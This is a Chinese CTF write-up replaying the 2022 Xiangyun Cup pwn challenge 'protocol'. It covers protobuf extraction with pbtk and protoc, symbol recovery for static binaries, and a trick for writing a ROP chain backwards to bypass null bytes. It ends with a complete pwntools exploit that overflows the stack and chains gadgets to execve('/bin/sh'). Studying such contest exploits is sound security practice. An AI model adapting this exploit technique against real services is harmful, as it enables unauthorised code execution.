祥云杯2022-protocol赛后复现

前言

离离原上谱的一道题,开始完全没有任何思路,又是protocol协议,又是静态编译去除符号表的,头都大了,没分析出来。还是赛后看着wp复现的。确实是自己菜狗了

但确实也提醒我去多了解了解网络方面的知识了,pwn终究还是个大杂烩,只会一些二进制漏洞的利用还是不够的,还得和其他方向结合一下。

知识点

protocol协议

其实就是一个文件传输协议,在你要传输的信息前面加点东西,然后再传输过去,那边再根据协议解包就行了,网上都有现成的资料可以看看

protocol协议的提取

在做题的时候我们需要知道protocol协议的一个.proto文件,但是要是让我们去一点点看结构体什么的来提取会很麻烦,还好github上有现成的提取项目可以直接用

https://github.com/marin-m/pbtk

记得安装的时候一定要用python3和pip3,否则会有不知名的错误,一直修不好,血泪教训,如果你python2能用的话,那就没事

  1. 用下面的命令来提取文件
1
./extractors/from_binary.py  protocol ./ 

就能得到一个ctf.proto文件和google文件夹,google文件夹有什么用,我没去看,有知道的师傅可以留言说一下

  1. 然后用protoc来编辑python的序列化文件
1
protoc  -I=./   --python_out=./   ctf.proto

后面写exp的时候直接导入就行

零截断问题的小技巧

当我们在进行栈溢出ROP的时候,可能会包含一些的“\x00”,但是在出来的proto中的username和password不能包含“\x00”,于是我们需要从下向上写ROP。

因为是while(1)所以我们可以利用protobuf转化的时候会在最后给上一个”\x00”,这样在每次从后往前少写一个字节,就能在最后一个字节覆盖为“\x00”。

最后一个技巧就是静态编译的文件的符号表恢复

在ida中有一个signature插件可以加载符号表,我们就能去网上找对应文件版本的符号表来恢复文件的符号表

可以使用shift + F5来使用这个插件

但是由于不是每个符号表都能对应文件的,于是我们可以使用lscan来查找与之对应最好的符号表

https://github.com/maroueneboubakri/lscan

但是由于自身的符号表有点少,我们需要去sig-database找更多的符号表

https://github.com/push0ebp/sig-database

但是符号表实在是太多了,要恢复大部分符号是一个运气问题。所以我也没有做到恢复这个符号表。希望以后会有更好的工具吧

分析&Exp

说是分析,其实就是一点点调试,看对应的执行流程罢了,函数汇编是真心不好看,属实难受,可能以后分析就是靠经验来分析判断这是个什么函数了。

大概执行流程就是,接受一段数据长达0x1000到bss段里面去,然后判断是否符合protocol协议,然后根据对应协议来解析数据,并将对应的bss段的数据放到对应的栈上去,分析出来是username放到rbp+0x140去,passwd放到0x240去,貌似还有个0x270的位置,但调试的时候感觉没啥子用就没有分析。于是就存在栈溢出,我们根据上面的零截断方法来从下向上写一个execve(“/bin/sh\x00”,0,0)就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
# -*- coding: utf-8 -*-
# Generated by the protocol buffer compiler. DO NOT EDIT!
# source: ctf.proto

from google.protobuf import descriptor as _descriptor
from google.protobuf import message as _message
from google.protobuf import reflection as _reflection
from google.protobuf import symbol_database as _symbol_database
# @@protoc_insertion_point(imports)

_sym_db = _symbol_database.Default()




DESCRIPTOR = _descriptor.FileDescriptor(
name='ctf.proto',
package='ctf',
syntax='proto2',
serialized_options=None,
create_key=_descriptor._internal_create_key,
serialized_pb=b'\n\tctf.proto\x12\x03\x63tf\")\n\x03pwn\x12\x10\n\x08username\x18\x01 \x01(\x0c\x12\x10\n\x08password\x18\x02 \x01(\x0c'
)




_PWN = _descriptor.Descriptor(
name='pwn',
full_name='ctf.pwn',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='username', full_name='ctf.pwn.username', index=0,
number=1, type=12, cpp_type=9, label=1,
has_default_value=False, default_value=b"",
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='password', full_name='ctf.pwn.password', index=1,
number=2, type=12, cpp_type=9, label=1,
has_default_value=False, default_value=b"",
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=18,
serialized_end=59,
)

DESCRIPTOR.message_types_by_name['pwn'] = _PWN
_sym_db.RegisterFileDescriptor(DESCRIPTOR)

pwn = _reflection.GeneratedProtocolMessageType('pwn', (_message.Message,), {
'DESCRIPTOR' : _PWN,
'__module__' : 'ctf_pb2'
# @@protoc_insertion_point(class_scope:ctf.pwn)
})
_sym_db.RegisterMessage(pwn)


# @@protoc_insertion_point(module_scope)


import ctf_pb2
from pwn import *
context(os = "linux", arch = "amd64", log_level = "debug")
context.terminal = ['tmux','splitw','-h']
io = process("./protocol")
#io = remote("101.201.71.136", 38494)
def debug():#debug
gdb.attach(proc.pidof(io)[0],gdbscript="b *0x407643")
pause()
zero_list = []

def gen(username, password):
result = ctf_pb2.pwn()
result.username = username
result.password = password
return result.SerializeToString()

pop_rax_ret = 0x5bdb8a
pop_rdi_ret = 0x404982
pop_rsi_ret = 0x588bbe
pop_rdx_ret = 0x40454f
syscall_ret = 0x68f0a4
bin_sh_addr = 0x81A380

payload = b'a'*0x148 + p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_ret) + p64(bin_sh_addr) + p64(pop_rdx_ret) + p64(0x10) + p64(pop_rax_ret) + p64(0) + p64(syscall_ret) + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(pop_rsi_ret) + p64(0) + p64(pop_rdx_ret) + p64(0) + p64(pop_rax_ret) + p64(59) + p64(syscall_ret)

for i in range(len(payload)) :
if payload[i] == 0 :
zero_list.append(i)
payload = payload[0:i] + b'\x0a' + payload[i+1:]

zero_list = zero_list[::-1]

login = gen(payload, b'admin')
io.sendafter("Login: ", login)
debug()
for i in zero_list :
payload = payload[0:i]
login = gen(payload, b'admin')
io.sendafter("Login: ", login)
debug()
login = gen(b'admin', b'admin')
io.sendafter("Login: ", login)
io.send(b'/bin/sh\x00')
io.interactive()